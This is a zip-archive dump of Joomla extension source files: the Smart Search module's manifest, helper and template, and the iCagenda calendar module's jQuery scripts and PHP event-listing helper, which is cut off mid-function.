require ModuleHelper::getLayoutPath('mod_finder', $params->get('layout', 'default'));
PK!���vmod_finder/mod_finder.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_finder</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_FINDER_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\Finder</namespace>
	<files>
		<filename module="mod_finder">mod_finder.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.mod_finder.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.mod_finder.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_SMART_SEARCH" />
	<config>
		<fields name="params" addfieldprefix="Joomla\Component\Finder\Administrator\Field">
			<fieldset name="basic">
				<field
					name="searchfilter"
					type="searchfilter"
					label="MOD_FINDER_FIELDSET_BASIC_SEARCHFILTER_LABEL"
					default=""
				/>

				<field
					name="show_autosuggest"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_FINDER_FIELDSET_BASIC_AUTOSUGGEST_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_advanced"
					type="list"
					label="MOD_FINDER_FIELDSET_BASIC_SHOW_ADVANCED_LABEL"
					default="0"
					filter="integer"
					validate="options"
					>
					<option value="2">MOD_FINDER_FIELDSET_BASIC_SHOW_ADVANCED_OPTION_LINK</option>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="show_label"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_FINDER_FIELDSET_ADVANCED_SHOW_LABEL_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="alt_label"
					type="text"
					label="MOD_FINDER_FIELDSET_ADVANCED_ALT_LABEL"
				/>

				<field
					name="show_button"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_FINDER_FIELDSET_ADVANCED_SHOW_BUTTON_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="opensearch"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_FINDER_FIELD_OPENSEARCH_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="opensearch_name"
					type="text"
					label="MOD_FINDER_FIELD_OPENSEARCH_TEXT_LABEL"
					showon="opensearch:1"
				/>

				<field
					name="set_itemid"
					type="menuitem"
					label="MOD_FINDER_FIELDSET_ADVANCED_SETITEMID_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">MOD_FINDER_SELECT_MENU_ITEMID</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!
'�h	h	mod_finder/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_finder
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Finder module helper.
 *
 * @since  2.5
 */
class ModFinderHelper
{
	/**
	 * Method to get hidden input fields for a get form so that control variables
	 * are not lost upon form submission.
	 *
	 * @param   string   $route      The route to the page. [optional]
	 * @param   integer  $paramItem  The menu item ID. (@since 3.1) [optional]
	 *
	 * @return  string  A string of hidden input form fields
	 *
	 * @since   2.5
	 */
	public static function getGetFields($route = null, $paramItem = 0)
	{
		// Determine if there is an item id before routing.
		$needId = !JUri::getInstance($route)->getVar('Itemid');

		$fields = array();
		$uri = JUri::getInstance(JRoute::_($route));
		$uri->delVar('q');

		// Create hidden input elements for each part of the URI.
		foreach ($uri->getQuery(true) as $n => $v)
		{
			$fields[] = '<input type="hidden" name="' . $n . '" value="' . $v . '" />';
		}

		// Add a field for Itemid if we need one.
		if ($needId)
		{
			$id       = $paramItem ?: JFactory::getApplication()->input->get('Itemid', '0', 'int');
			$fields[] = '<input type="hidden" name="Itemid" value="' . $id . '" />';
		}

		return implode('', $fields);
	}

	/**
	 * Get Smart Search query object.
	 *
	 * @param   \Joomla\Registry\Registry  $params  Module parameters.
	 *
	 * @return  FinderIndexerQuery object
	 *
	 * @since   2.5
	 */
	public static function getQuery($params)
	{
		$app     = JFactory::getApplication();
		$input   = $app->input;
		$request = $input->request;
		$filter  = JFilterInput::getInstance();

		// Get the static taxonomy filters.
		$options = array();
		$options['filter'] = ($request->get('f', 0, 'int') !== 0) ? $request->get('f', '', 'int') : $params->get('searchfilter');
		$options['filter'] = $filter->clean($options['filter'], 'int');

		// Get the dynamic taxonomy filters.
		$options['filters'] = $request->get('t', '', 'array');
		$options['filters'] = $filter->clean($options['filters'], 'array');
		$options['filters'] = ArrayHelper::toInteger($options['filters']);

		// Instantiate a query object.
		return new FinderIndexerQuery($options);
	}
}
PK!Y��
�
mod_finder/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Module\Finder\Site\Helper\FinderHelper;

// Load the smart search component language file.
$lang = $app->getLanguage();
$lang->load('com_finder', JPATH_SITE);

$input = '<input type="text" name="q" id="mod-finder-searchword' . $module->id . '" class="js-finder-search-query form-control" value="' . htmlspecialchars($app->input->get('q', '', 'string'), ENT_COMPAT, 'UTF-8') . '"'
	. ' placeholder="' . Text::_('MOD_FINDER_SEARCH_VALUE') . '">';

$showLabel  = $params->get('show_label', 1);
$labelClass = (!$showLabel ? 'visually-hidden ' : '') . 'finder';
$label      = '<label for="mod-finder-searchword' . $module->id . '" class="' . $labelClass . '">' . $params->get('alt_label', Text::_('JSEARCH_FILTER_SUBMIT')) . '</label>';

$output = '';

if ($params->get('show_button', 0))
{
	$output .= $label;
	$output .= '<div class="mod-finder__search input-group">';
	$output .= $input;
	$output .= '<button class="btn btn-primary" type="submit"><span class="icon-search icon-white" aria-hidden="true"></span> ' . Text::_('JSEARCH_FILTER_SUBMIT') . '</button>';
	$output .= '</div>';
}
else
{
	$output .= $label;
	$output .= $input;
}

Text::script('MOD_FINDER_SEARCH_VALUE', true);

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $app->getDocument()->getWebAssetManager();
$wa->getRegistry()->addExtensionRegistryFile('com_finder');

/*
 * This segment of code sets up the autocompleter.
 */
if ($params->get('show_autosuggest', 1))
{
	$wa->usePreset('awesomplete');
	$app->getDocument()->addScriptOptions('finder-search', array('url' => Route::_('index.php?option=com_finder&task=suggestions.suggest&format=json&tmpl=component')));
}

$wa->useScript('com_finder.finder');

?>

<form class="mod-finder js-finder-searchform form-search" action="<?php echo Route::_($route); ?>" method="get" role="search">
	<?php echo $output; ?>

	<?php $show_advanced = $params->get('show_advanced', 0); ?>
	<?php if ($show_advanced == 2) : ?>
		<br>
		<a href="<?php echo Route::_($route); ?>" class="mod-finder__advanced-link"><?php echo Text::_('COM_FINDER_ADVANCED_SEARCH'); ?></a>
	<?php elseif ($show_advanced == 1) : ?>
		<div class="mod-finder__advanced js-finder-advanced">
			<?php echo HTMLHelper::_('filter.select', $query, $params); ?>
		</div>
	<?php endif; ?>
	<?php echo FinderHelper::getGetFields($route, (int) $params->get('set_itemid', 0)); ?>
</form>
PK!��VW.mod_iccalendar/js/jQuery.highlightToday.min.jsnu&1i�(function(e){e.fn.highlightToday=function(t){var n=new Date,r="0"+n.getDate(),i="0"+(n.getMonth()+1),s=n.getFullYear(),o=s+"-"+i.slice(-2)+"-"+r.slice(-2),u=e(".style_Today",this),a=u.attr("data-cal-date");if(typeof a==="undefined"||o!==a){u.removeClass("style_Today").addClass("style_Day");e('.style_Day[data-cal-date="'+o+'"]',this).addClass("style_Today").removeClass("style_Day");if(t==="show_today"){if(e(".style_Today",this).length===0){if(o>a){e(".nextic",this).click()}else{e(".backic",this).click()}}}}return this}})(jQuery)
PK!mod_iccalendar/js/index.htmlnu&1i�PK!_CI��*mod_iccalendar/js/jQuery.highlightToday.jsnu&1i�(function ($) {

	$.fn.highlightToday = function(option) {
		var d = new Date(),
			day = '0' + d.getDate(),
			month = '0' + (d.getMonth() + 1),
			year = d.getFullYear(),
			client_date = year + '-' + month.slice(-2) + '-' + day.slice(-2),
			$today = $('.style_Today', this),
			cal_date = $today.attr('data-cal-date');//cal_date='2014-01-07'; // Test data
		if (typeof cal_date === 'undefined' || client_date !== cal_date) {
			// Calendar date not in the displayed month - or client date is different
			$today.removeClass('style_Today').addClass('style_Day');
			$('.style_Day[data-cal-date="' + client_date + '"]', this).addClass('style_Today').removeClass('style_Day');
			// Check whether the correct month is loaded if today is required to be shown
			if (option === 'show_today') {
				if ($('.style_Today', this).length === 0) {
					// The current date is not shown (because of offset between server and client date)
					if (client_date > cal_date) {
						// Load next month
						$('.nextic', this).click();
					} else {
						// Load previous month
						$('.backic', this).click();
					}
				}
			}
		}
		// Support chaining
		return this;
	};

}(jQuery));
PK!Tq#�&mod_iccalendar/js/jquery.noconflict.jsnu&1i�jQuery.noConflict();PK!O>fh�h�mod_iccalendar/helper.phpnu&1i�<?php
/**
 *----------------------------------------------------------------------------
 * iCagenda     Events Management Extension for Joomla!
 *----------------------------------------------------------------------------
 * @version     3.7.12 2020-03-25
 *
 * @package     iCagenda.Site
 * @subpackage  mod_iccalendar
 * @link        https://icagenda.joomlic.com
 *
 * @author      Cyril Rezé
 * @copyright   (c) 2012-2019 Jooml!C / Cyril Rezé. All rights reserved.
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 *
 * @since       3.1.9 (1.0)
 *----------------------------------------------------------------------------
*/

defined('_JEXEC') or die;

jimport('joomla.methods');
jimport('joomla.environment.request');
jimport('joomla.application.component.helper');

/**
 *	iCagenda - iC calendar
 */
class modiCcalendarHelper
{
	private function construct($params)
	{
		$app    = JFactory::getApplication();
		$jinput = $app->input;

		$this->modid				= $params->get('id');
		$this->template				= $params->get('template');
		$this->format				= $params->get('format');
		$this->date_separator		= $params->get('date_separator');
		$this->setTodayTimezone		= $params->get('setTodayTimezone');
		$this->displayDatesTimezone	= $params->get('displayDatesTimezone');
		$this->filtering_shortDesc	= $params->get('filtering_shortDesc', '');
		$this->limit				= $params->get('paramlimit', '')
									? $params->get('paramlimit_Content')
									: false;
		$this->mcatid				= $params->get('mcatid', '');
		$this->number				= $params->get('number');
		$this->onlyStDate			= $params->get('onlyStDate');
		$this->firstMonth           = iCDate::isDate($params->get('firstMonth'))
									? $params->get('firstMonth')
									: '';
		$this->month_nav			= $params->get('month_nav', '1');
		$this->year_nav				= $params->get('year_nav', '1');

		$this->itemid				= $jinput->getInt('Itemid');
		$this->mod_iccalendar		= '#mod_iccalendar_' . $this->modid;

		// Get media path
		$params_media				= JComponentHelper::getParams('com_media');
		$image_path					= $params_media->get('image_path', 'images');

		// Features Options
		$this->features_icon_size	= $params->get('features_icon_size');
		$this->show_icon_title		= $params->get('show_icon_title');
		$this->features_icon_root	= JURI::base() . "{$image_path}/icagenda/feature_icons/{$this->features_icon_size}/";

		// First day of the current month
		$this_month	= $this->firstMonth
//					? date("Y-m-d", strtotime("+1 month", strtotime($this->firstMonth)))
					? date("Y-m-d", strtotime($this->firstMonth))
					: JHtml::date('now', 'Y-m-01', null);

		$iccaldate	= $jinput->get('iccaldate', ''); // Get date set in month/year navigation

		// This should be the first day of a month
		$date_start = $iccaldate ? date('Y-m-01', strtotime($iccaldate)) : $this_month;

		// Add filter to restrict the number of events using the 'next' date
		if ($date_start > $this_month)
		{
			// Month to be displayed is in the future
			// Events required start from the current month
			$filter_start = $this_month;
		}
		else
		{
			// Month to be displayed is current or past
			// Events required start from the display month
			$filter_start = $date_start;
		}

		$this->date_start = $date_start;

		// Set Next date filtering
		$this->filter_start = $filter_start;

//		$this->addFilter('e.next', $filter_start, '>=');

		// An end date for selection is not possible because it may prevent display of past events where the next
		// scheduled instance of an event is after the end of the display month
//		$filter_end = date('Y-m-d', strtotime('+1 month', strtotime($this->date_start)));
//		$this->addFilter('e.next', "'$filter_end'",'<');
	}


	function start($params)
	{
		$this->construct($params);
	}


	// Class Method
	function getStamp($params)
	{
		$db = JFactory::getDbo();
		$query	= $db->getQuery(true);
		$query->select('id AS nbevt')->from('`#__icagenda_events` AS e')->where('e.state = 1');
		$db->setQuery($query);
		$nbevt = $db->loadResult();

		$no_event_message = '<div class="ic-msg-no-event">' . JText::_('MOD_ICCALENDAR_NO_EVENT') . '</div>';

		if ( ! $nbevt)
		{
			echo $no_event_message;
		}

		$iCparams		= JComponentHelper::getParams('com_icagenda');

		// Global Joomla API objects
		$app    = JFactory::getApplication();
		$lang   = JFactory::getLanguage();

		$menu           = $app->getMenu();

		// Module Params
		$iCmenuitem     = $params->get('iCmenuitem', '');
		$iCmenu_filters = $params->get('iCmenu_filters', 0);

		$firstMonth     = iCDate::isDate($params->get('firstMonth'))
						? trim($params->get('firstMonth', ''))
						: '';

		$dp_city            = $params->get('dp_city', 1);
		$dp_country         = $params->get('dp_country', 1);
		$param_dp_regInfos  = $params->get('dp_regInfos', 1);
		$dp_shortDesc       = $params->get('dp_shortDesc', '');
		$dp_time            = $params->get('dp_time', 1);
		$dp_venuename       = $params->get('dp_venuename', 1);

		$eventTimeZone	= null;

		// Itemid Request (automatic detection of the first iCagenda menu-link, by menuID)
		$iC_list_menus	= icagendaMenus::iClistMenuItemsInfo();



		// Check if GD is enabled on the server
		if (extension_loaded('gd') && function_exists('gd_info'))
		{
			$thumb_generator = $iCparams->get('thumb_generator', 1);
		}
		else
		{
			$thumb_generator = 0;
		}

		$datetime_today	= JHtml::date('now', 'Y-m-d H:i');
		$timeformat		= $iCparams->get('timeformat', 1);
		$lang_time		= ($timeformat == 1) ? 'H:i' : 'h:i A';

		// Check if fopen is allowed
		$result	= ini_get('allow_url_fopen');
		$fopen	= empty($result) ? false : true;


		$this->start($params);

		// Set start/end dates of the current month
		$days				= self::getNbOfDaysInMonth($this->date_start);
		$current_date_start	= $this->date_start;
		$month_start		= date('m', strtotime($current_date_start));
		$month_end			= date('m', strtotime('+1 month', strtotime($current_date_start)));
		$day_end			= date('m', strtotime('+'.$days.' days', strtotime($current_date_start)));

		$year_end			= ($month_start == '12')
							? date('Y', strtotime("+1 year", strtotime($this->date_start)))
							: date('Y', strtotime($this->date_start));

		$current_date_end	= $year_end . '-' . $month_end . '-' . $day_end;

		// Get the database
		$query	= $db->getQuery(true);

		// Build the query
		$query->select('e.*,
				e.place as place_name,
				c.title as cat_title,
				c.alias as cat_alias,
				c.color as cat_color,
				c.ordering as cat_order
			')
			->from($db->qn('#__icagenda_events').' AS e')
			->leftJoin($db->qn('#__icagenda_category').' AS c ON ' . $db->qn('c.id') . ' = ' . $db->qn('e.catid'));

		// Where Category is Published
		$query->where('c.state = 1');

		// Where State is Published
		$query->where('e.state = 1');

		// Where event is Approved
		$query->where('e.approval = 0');

		// Filter next date
		if ( ! $firstMonth)
		{
			$query->where('e.next >= ' . $db->q($this->filter_start));
		}


		// Filter by categories to be displayed
		$catFilter = ! is_array($this->mcatid) ? array($this->mcatid) : $this->mcatid;

		// Note: zero value kept for Joomla 2.5 B/C (option All categories not used on J3 sites)
		if ( $catFilter && ! in_array('0', $catFilter) && ! in_array('', $catFilter))
		{
			$cats_option = implode(', ', $catFilter);

			$query->where('e.catid IN (' . $cats_option . ')');
		}

		// Check Access Levels
		$user		= JFactory::getUser();
		$userID		= $user->id;
		$userLevels	= $user->getAuthorisedViewLevels();
		$userGroups = $user->getAuthorisedGroups();

		$userAccess = implode(', ', $userLevels);

		if ( ! in_array('8', $userGroups))
		{
			$query->where('e.access IN (' . $userAccess . ')');
		}

		// Filter by language
		$query->where('e.language IN (' . $db->q(JFactory::getLanguage()->getTag()) . ',' . $db->q('*') . ')');

		// Features - extract the number of displayable icons per event
		$query->select('feat.count AS features');
		$sub_query = $db->getQuery(true);
		$sub_query->select('fx.event_id, COUNT(*) AS count');
		$sub_query->from('`#__icagenda_feature_xref` AS fx');
		$sub_query->innerJoin("`#__icagenda_feature` AS f ON fx.feature_id=f.id AND f.state=1 AND f.icon<>'-1'");
		$sub_query->group('fx.event_id');
		$query->leftJoin('(' . (string) $sub_query . ') AS feat ON e.id=feat.event_id');

		// Registrations total
//		$query->select('r.count AS registered, r.date AS reg_date');
		$query->select('r.count AS reg_people, r.date AS reg_date');
		$sub_query = $db->getQuery(true);
		$sub_query->select('r.eventid, sum(r.people) AS count, r.date AS date');
		$sub_query->from('`#__icagenda_registration` AS r');
		$sub_query->where('r.state > 0');
		$sub_query->group('r.eventid');
		$query->leftJoin('(' . (string) $sub_query . ') AS r ON e.id=r.eventid');

		// Run the query
		$db->setQuery($query);

		// Invoke the query
		$result = $db->loadObjectList();

		$registrations = icagendaEventsData::registeredList();

		foreach ($result AS &$record)
		{
			$record_registered = array();

			foreach ($registrations AS &$reg_by_event)
			{
				$ex_reg_by_event = explode('@@', $reg_by_event);

				if ($ex_reg_by_event[0] == $record->id)
				{
					$record_registered[] = $ex_reg_by_event[0] . '@@' . $ex_reg_by_event[1] . '@@' . $ex_reg_by_event[2] . '@@' . $ex_reg_by_event[3];
				}
			}

			$record->registered = $record_registered;
		}

		// Get days of the current month
		$days = $this->getDays($this->date_start, 'Y-m-d H:i');

//		$total_items		= 0;
//		$displayed_items	= 0;

		foreach ($result as $item)
		{
			// Extract the feature details, if needed
			$features = array();

			if (is_null($item->features) || empty($this->features_icon_size))
			{
				$item->features = array();
			}
			else
			{
				$item->features = icagendaEvents::featureIcons($item->id);
			}

			if (isset($item->features) && is_array($item->features))
			{
				foreach ($item->features as &$feature)
				{
					$features[] = array('icon' => $feature->icon, 'icon_alt' => $feature->icon_alt);
				}
			}

			// list calendar dates
			$AllDates = array();

//			$next = isset($next) ? $next : '';

			// Get list of valid single dates for this event
			$allSingleDates_array = $this->getDatelist($item->dates);

			sort($allSingleDates_array);

			// If Single Dates, added to all dates for this event
//			if (isset($datemultiplelist)
//				&& $datemultiplelist != NULL
//				&& is_array($datemultiplelist))
//			{
//				$allSingleDates_array = array_merge($AllDates, $datemultiplelist);
//			}

			foreach ($allSingleDates_array as &$sd)
			{
				$this_date = JHtml::date($sd, 'Y-m-d', null);

				if (strtotime($this_date) >= strtotime($current_date_start)
					&& strtotime($this_date) < strtotime($current_date_end))
				{
//					array_push($AllDates, $sd);
					$AllDates[] = $sd;
				}
			}

			// Get WeekDays Array
			$WeeksDays			= iCDatePeriod::weekdaysToArray($item->weekdays);

			// Get Period Dates
			$startDate_TZ		= iCDate::isDate($item->startdate)
								? JHtml::date($item->startdate, 'Y-m-d H:i', $eventTimeZone)
								: false;
			$endDate_TZ			= iCDate::isDate($item->enddate)
								? JHtml::date($item->enddate, 'Y-m-d H:i', $eventTimeZone)
								: false;
			$perioddates		= iCDatePeriod::listDates($item->startdate, $item->enddate); // UTC

			$onlyStDate			= isset($this->onlyStDate) ? $this->onlyStDate : '';

			// Check the period if individual dates
			$only_startdate		= ($item->weekdays || $item->weekdays == '0') ? false : true;

			if ( ! empty($perioddates))
			{
				if ($onlyStDate == 1)
				{
					if (strtotime($startDate_TZ) >= strtotime($current_date_start)
						&& strtotime($startDate_TZ) < strtotime($current_date_end))
					{
//						array_push($AllDates, date('Y-m-d H:i', strtotime($item->startdate)));
						$AllDates[] = date('Y-m-d H:i', strtotime($item->startdate));
					}
				}
				else
				{
					foreach ($perioddates as &$Dat)
					{
						$this_date = JHtml::date($Dat, 'Y-m-d', null);

						if (in_array(date('w', strtotime($Dat)), $WeeksDays))
						{
							$SingleDate = date('Y-m-d H:i', strtotime($Dat));

							if (strtotime($this_date) >= strtotime($current_date_start)
								&& strtotime($this_date) < strtotime($current_date_end))
							{
//								array_push($AllDates, $SingleDate);
								$AllDates[] = $SingleDate;
							}
						}
					}
				}
			}

			rsort($AllDates);

//			$total_items = $total_items + 1;

			$descShort = icagendaEvents::shortDescription($item->desc, true, $this->filtering_shortDesc, $this->limit);


			/**
			 * Get Thumbnail
			 */

			// START iCthumb

			// Set if run iCthumb
			if ($item->image
				&& $thumb_generator == 1)
			{
				// Generate small thumb if not exist
				$thumb_img = icagendaThumb::sizeSmall($item->image);
			}
			elseif ($item->image
				&& $thumb_generator == 0)
			{
				$thumb_img = $item->image;
			}
			else
			{
				$thumb_img = $item->image ? 'media/com_icagenda/images/nophoto.jpg' : '';
			}

			// END iCthumb



//			$evtParams = '';
			$evtParams = new JRegistry($item->params);

			// Display Time
			$r_time			= $dp_time ? true : false;

			// Display City
			$r_city			= $dp_city ? $item->city : false;

			// Display Country
			$r_country		= $dp_country ? $item->country : false;

			// Display Venue Name
			$r_place		= $dp_venuename ? $item->place_name : false;

			// Display Intro Text
			// Short Description
			if ($dp_shortDesc == '1')
			{
				$descShort		= $item->shortdesc ? $item->shortdesc : false;
			}
			// Auto-Introtext
			elseif ($dp_shortDesc == '2')
			{
				$descShort		= $descShort ? $descShort : false;
			}
			// Hide
			elseif ($dp_shortDesc == '0')
			{
				$descShort		= false;
			}
			// Auto (First Short Description, if does not exist, Auto-generated short description from the full description. And if does not exist, will use meta description if not empty)
			else
			{
				$e_shortdesc	= $item->shortdesc ? $item->shortdesc : $descShort;
				$descShort		= $e_shortdesc ? $e_shortdesc : $item->metadesc;
			}

			// Display Registration Infos
			$eventRegStatus = $evtParams->get('statutReg', $iCparams->get('statutReg', '0'));
			$dp_regInfos	= ($eventRegStatus == 1) ? $param_dp_regInfos : '';

			$maxReg			= ($dp_regInfos == 1) ? $evtParams->get('maxReg', '1000000') : false;
			$typeReg		= ($dp_regInfos == 1) ? $evtParams->get('typeReg', '1') : false;

			$reg_deadline	= $evtParams->get('reg_deadline', $iCparams->get('reg_deadline', ''));

			$eventIsCancelled = icagendaEvent::cancelledButton($item->id);

			$eventTitle = $eventIsCancelled ? $item->title . '<div class="ic-float-right">' . $eventIsCancelled . '</div>' : $item->title;

			$event = array(
				'id'					=> (int)$item->id,
//				'Itemid'				=> (int)$linkid,
				'title'					=> $eventTitle,
				'next'					=> $this->formatDate($item->next),
				'image'					=> $thumb_img,
				'file'					=> $item->file,
				'address'				=> $item->address,
				'city'					=> $r_city,
				'country'				=> $r_country,
				'place'					=> $r_place,
				'description'			=> $item->desc,
				'descShort'				=> $descShort,
				'cat_title'				=> $item->cat_title,
				'cat_order'				=> $item->cat_order,
				'cat_color'				=> $item->cat_color,
//				'nb_events'				=> count($item->id),
				'no_image'				=> JTEXT::_('MOD_ICCALENDAR_NO_IMAGE'),
				'params'				=> $item->params,
				'features_icon_size'	=> $this->features_icon_size,
				'features_icon_root'	=> $this->features_icon_root,
				'show_icon_title'		=> $this->show_icon_title,
				'features'				=> $features,
				'item'					=> $item,
			);

			// Get Option Dislay Time
			$displaytime	= isset($item->displaytime) ? $item->displaytime : '';

			$events_per_day	= array();

			$countEventDates = count($AllDates);

			// Get List of Dates
			if (is_array($event))
			{
				$past_dates = 0;

				foreach ($AllDates as &$d)
				{
					// Control if date is past
					if (strtotime($d) < strtotime($datetime_today))
					{
						$past_dates = $past_dates + 1;
					}
				}

				unset($d);

				$iCmenuitem = is_numeric($iCmenuitem) ? $iCmenuitem : '';

				foreach ($AllDates as &$d)
				{
					$urlevent       = '';
					$event_filters  = array(
										'date'      => $d,
										'catid'     => $item->catid,
										'language'  => $item->language,
										'access'    => $item->access,
									);

					// If use menu item filters
					if ($iCmenu_filters === '1')
					{
						$linkid = $iCmenuitem
								? icagendaMenus::displayEventItemid($iCmenuitem, $event_filters)
								: icagendaMenus::thisEventItemid($d, $item->catid, $iC_list_menus);
					}
					else
					{
						$linkid = $iCmenuitem ? $iCmenuitem : icagendaMenus::thisEventItemid($d, $item->catid, $iC_list_menus);
						$linkid = $linkid ? $linkid : $menu->getDefault($lang->getTag())->id;
					}

					$eventnumber	= $item->id ? $item->id : null;
					$event_slug		= $item->alias ? $item->id . ':' . $item->alias : $item->id;

					if ( $linkid >= 0
						&& JComponentHelper::getComponent('com_icagenda', true)->enabled
						)
					{
						$urlevent   = 'index.php?option=com_icagenda&amp;view=event&amp;id='
									. $event_slug . '&amp;Itemid=' . (int) $linkid;
					}


					$this_date_utc  = date('Y-m-d H:i', strtotime($d));

					// Set variable date-alias in url & registration deadline datetime
					if ($only_startdate && in_array($this_date_utc, $perioddates))
					{
						$set_date_in_url = '';

						$regDeadlineDatetime	= ($reg_deadline == '2')
												? JHtml::date($item->enddate, 'Y-m-d H:i:s', false)
												: JHtml::date($item->startdate, 'Y-m-d H:i:s', false);
					}
					else
					{
//						$set_date_in_url = $date_var . iCDate::dateToAlias($d, 'Y-m-d H:i');
						$set_date_in_url = '&amp;date=' . iCDate::dateToAlias($d, 'Y-m-d H:i');

						if ($reg_deadline == '2')
						{
							$regDeadlineDatetime	= (in_array($this_date_utc, $perioddates))
													? JHtml::date($d, 'Y-m-d', false) . ' ' . JHtml::date($item->enddate, 'H:i:s', false)
													: JHtml::date($d, 'Y-m-d', false) . ' 23:59:59';
						}
						else
						{
							$regDeadlineDatetime	= JHtml::date($d, 'Y-m-d H:i:s', false);
						}
					}

					if ($r_time)
					{
						$time = array(
							'time'			=> date($lang_time, strtotime($d)),
							'displaytime'	=> $displaytime,
							'url'			=> JRoute::_($urlevent . $set_date_in_url),
						);
					}
					else
					{
						$time = array(
							'time'			=> '',
							'displaytime'	=> '',
							'url'			=> JRoute::_($urlevent . $set_date_in_url),
						);
					}

					$event = array_merge($event, $time);

					$this_date = $item->reg_date ? date('Y-m-d H:i:s', strtotime($d)) : 'period';

					$registrations	= ($dp_regInfos == 1) ? true : false;
					$registered		= ($dp_regInfos == 1)
									? self::getNbTicketsBooked($this_date, $item->registered, $eventnumber, $set_date_in_url, $typeReg)
									: false;
					$maxTickets		= ($maxReg != '1000000') ? $maxReg : false;
					$TicketsLeft	= ($dp_regInfos == 1 && $maxReg)
									? ($maxReg - $registered)
									: false;

					$canRegister	= (JHtml::date('Now', 'Y-m-d H:i:s', false) <= $regDeadlineDatetime)
									? true
									: false;


					// Registration for all dates, and no ticket left
					if ($typeReg == '2'
						&& $TicketsLeft <= 0)
					{
						$date_sold_out	= JText::_('MOD_ICCALENDAR_REGISTRATION_CLOSED');
					}

					// Registration by date, and no ticket left
					elseif ($TicketsLeft <= 0)
					{
						$date_sold_out	= JText::_('MOD_ICCALENDAR_REGISTRATION_DATE_NO_TICKETS_LEFT');
					}

					// Registration for all dates + Registration until START date + first date past.
					elseif ($typeReg == '2'
						&& ($reg_deadline != '2'
							&& ((iCDate::isDate($startDate_TZ) && $startDate_TZ < $datetime_today)
							|| (isset($allSingleDates_array[0]) && $allSingleDates_array[0] < $datetime_today))
							)
						)
					{
						$date_sold_out	= JText::_('MOD_ICCALENDAR_REGISTRATION_CLOSED');
					}

					// Registration for all dates + Registration until END date + first date past.
					elseif ($typeReg == '2'
						&& ($reg_deadline == '2'
							&& ((iCDate::isDate($endDate_TZ) && $endDate_TZ < $datetime_today)
							|| (end($allSingleDates_array) < $datetime_today))
							)
						)
					{
						$date_sold_out	= JText::_('MOD_ICCALENDAR_REGISTRATION_CLOSED');
					}

					// Registration by date, and registration deadline is over
					elseif ( ! $canRegister && $typeReg != '2')
					{
						$date_sold_out	= ($TicketsLeft <= 0 && $countEventDates > 1 && $past_dates < $countEventDates)
										? JText::_('MOD_ICCALENDAR_REGISTRATION_DATE_NO_TICKETS_LEFT')
										: JText::_('MOD_ICCALENDAR_REGISTRATION_CLOSED');
					}

					// @todo : test last change > can or cannot register ? (check if needed)
					elseif ($maxTickets
						&& $canRegister
						&& $typeReg != '2'
						)
					{
						$date_sold_out	= ($TicketsLeft <= 0)
										? JText::_('MOD_ICCALENDAR_REGISTRATION_DATE_NO_TICKETS_LEFT')
										: false;
					}

					else
					{
						$date_sold_out	= false;
					}

					$reg_infos = array(
						'registrations'	=> $registrations,
						'registered'	=> $registered,
						'maxTickets'	=> $maxTickets,
						'TicketsLeft'	=> $TicketsLeft,
						'date_sold_out'	=> $date_sold_out,
					);

					$event = array_merge($event, $reg_infos);

					foreach ($days as $k => $dy)
					{
						$d_date		= date('Y-m-d', strtotime($d));
						$dy_date	= date('Y-m-d', strtotime($dy['date']));

						if ($d_date == $dy_date && $linkid)
						{
							array_push ($days[$k]['events'], $event);
//							$days[$k]['events'][]= $event;
						}
					}
				}

				unset($d);
			}
		}

		return $days;

	}

	public static function getNbTicketsBooked($date, $event_registered, $event_id, $set_date_in_url, $typeReg)
	{
		$event_registered	= is_array($event_registered) ? $event_registered : array();
		$nb_registrations	= 0;

		foreach ($event_registered as &$reg)
		{
			$ex_reg = explode('@@', $reg); // eventid@@date@@period@@people

